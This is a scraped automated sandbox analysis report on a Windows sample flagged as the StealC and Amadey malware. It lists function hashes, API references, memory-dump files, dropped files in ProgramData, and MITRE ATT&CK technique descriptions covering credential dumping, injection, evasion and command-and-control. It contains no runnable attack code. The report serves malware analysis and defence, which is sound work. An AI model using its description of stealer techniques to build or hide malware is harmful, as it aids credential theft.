Instruction Fuzzy Hash: 21310471F002168FDB10DF59D84469ABBF6FF84314F1A8629C8069B301EB32E955CBE2

Function 6CA9F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA9F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9F668

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7e9996055965764749463bbcb0a6110aa6ffb1c27be3863ccd5dde5f8575511b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B7314F71A10214AFC714CF5DCDC1A9BB7F5EB84358B18853DFA498BB04D671F9848B90

Function 6CAB26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26C1
free.MOZGLUE(?), ref: 6CAB26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB26FF
free.MOZGLUE ref: 6CAB270D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction ID: 0173dfc3488f50bd7aa22d195824d642ddfad265d86e27ebb77ad0b07fbf764d
Opcode Fuzzy Hash: c08a547d7ffbc197e6734c2f661e85cbbd5eb7698693cefe7a2a386a25a04eb3
Instruction Fuzzy Hash: 8AF0F9B27013025BF7009E18DC8499773ADEF5525CB140136EA16E3B01E331F999C7A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDHCAA

C:\ProgramData\CFHDHIJDGCBAKFIEGHCB

C:\ProgramData\FCBAEHCAEGDHJKFHJKFI

C:\ProgramData\FHIIEHJKKECGCBFIIJDAKFHJKJ

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

C:\ProgramData\HIJJDGDH

C:\ProgramData\KFCGDBAKKKFBGDHJKFHJJJJDGC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre